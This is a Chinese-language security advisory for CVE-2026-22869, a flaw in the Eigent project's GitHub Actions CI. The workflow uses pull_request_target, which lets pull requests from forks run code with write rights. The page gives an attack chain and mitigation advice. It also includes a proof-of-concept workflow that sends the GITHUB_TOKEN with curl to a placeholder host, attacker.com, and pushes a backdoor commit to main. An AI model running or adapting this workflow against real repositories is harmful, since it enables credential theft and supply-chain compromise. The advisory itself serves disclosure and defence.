IPBUF安全漏洞报告
English
CVE-2026-22869 CVSS 9.8 严重

CVE-2026-22869 Eigent CI工作流pull_request_target远程代码执行漏洞

披露日期: 2026-01-13

漏洞信息

漏洞编号
CVE-2026-22869
漏洞类型
远程代码执行
CVSS评分
9.8 严重
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
Eigent (eigent-ai/eigent)

相关标签

远程代码执行GitHub ActionsCI/CD安全pull_request_target权限提升Eigent工作流漏洞供应链安全

漏洞概述

Eigent是一个多代理工作流系统,其CI工作流文件(.github/workflows/ci.yml)存在严重的安全漏洞。该漏洞允许来自fork仓库的拉取请求在具有仓库写权限的上下文中执行任意代码。攻击者可以通过向eigent-ai/eigent仓库提交恶意拉取请求,利用pull_request_target触发器和checkout动作的组合,在CI环境中获得代码执行权限。此漏洞可被用于窃取敏感凭据、发布恶意评论、推送未经授权的代码变更,甚至创建恶意发布版本,对使用该仓库的所有用户构成严重威胁。

技术细节

该漏洞源于GitHub Actions工作流中pull_request_target触发器的错误使用。工作流配置使用pull_request_target而非pull_request触发器,导致工作流在主仓库的上下文中执行,具有完整的写权限。当工作流执行时使用actions/checkout动作拉取拉取请求的代码时,如果PR来自fork仓库,则会在具有写权限的上下文中执行来自不可信来源的代码。攻击者可以利用此漏洞:1) 在CI环境中读取GITHUB_TOKEN和其他敏感环境变量;2) 通过工作流权限执行仓库操作如推送代码、发布评论、创建发布等;3) 窃取存储在secrets中的凭据信息。修复方案包括:使用pull_request触发器而非pull_request_target,或在checkout时使用persist-credentials:false并避免脚本执行,或使用path filters限制触发条件。

攻击链分析

STEP 1
步骤1: 漏洞识别
攻击者发现目标仓库的CI工作流使用pull_request_target触发器,并checkout来自PR的代码
STEP 2
步骤2: Fork仓库准备
攻击者fork eigent-ai/eigent仓库,并在fork中创建恶意的工作流文件或修改现有CI工作流
STEP 3
步骤3: 提交恶意Pull Request
攻击者向主仓库提交包含恶意代码的Pull Request,触发pull_request_target工作流
STEP 4
步骤4: 权限提升执行
由于pull_request_target在主仓库上下文执行,工作流具有写权限,恶意代码在特权环境中运行
STEP 5
步骤5: 凭据窃取
恶意代码通过环境变量、secrets或GITHUB_TOKEN获取敏感凭据信息
STEP 6
步骤6: 持久化控制
攻击者利用获取的凭据推送恶意代码、创建后门或发布恶意版本,实现长期控制

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# Malicious workflow to exploit CVE-2026-22869 # Save this as .github/workflows/malicious.yml in a fork PR name: Malicious CI on: pull_request_target: types: [opened, synchronize, reopened] jobs: exploit: runs-on: ubuntu-latest steps: # Checkout the PR code (runs in privileged context) - name: Checkout malicious PR uses: actions/checkout@v4 with: ref: ${{ github.event.pull_request.head.ref }} repository: ${{ github.event.pull_request.head.repo.full_name }} # Exfiltrate secrets and tokens - name: Steal credentials run: | echo "GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }}" echo "Event Name: ${{ github.event_name }}" echo "Event Path: ${{ github.event_path }}" cat $GITHUB_ENV # Send to attacker controlled server curl -X POST https://attacker.com/exfil -d "token=${{ secrets.GITHUB_TOKEN }}" # Push malicious code to main branch - name: Push backdoor run: | git config user.name "malicious" git config user.email "[email protected]" echo "malicious_code()" >> main.py git add -A git commit -m "Add backdoor" git push https://x-access-token:${{ secrets.GITHUB_TOKEN }}@github.com/${{ github.repository }}.git HEAD:main

影响范围

Eigent < bf02500bbbab0f01cd0ed8e6dc21fe5683d6bfb5 (修复版本)

防御指南

临时缓解措施
立即修改CI工作流配置,将pull_request_target改为pull_request触发器。如果业务需要使用pull_request_target,必须确保不执行来自PR的代码,或对PR来源进行严格验证。建议限制工作流权限为read-only,避免使用具有写权限的GITHUB_TOKEN。同时添加工作流审批机制,对来自外部fork的PR进行安全审核。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表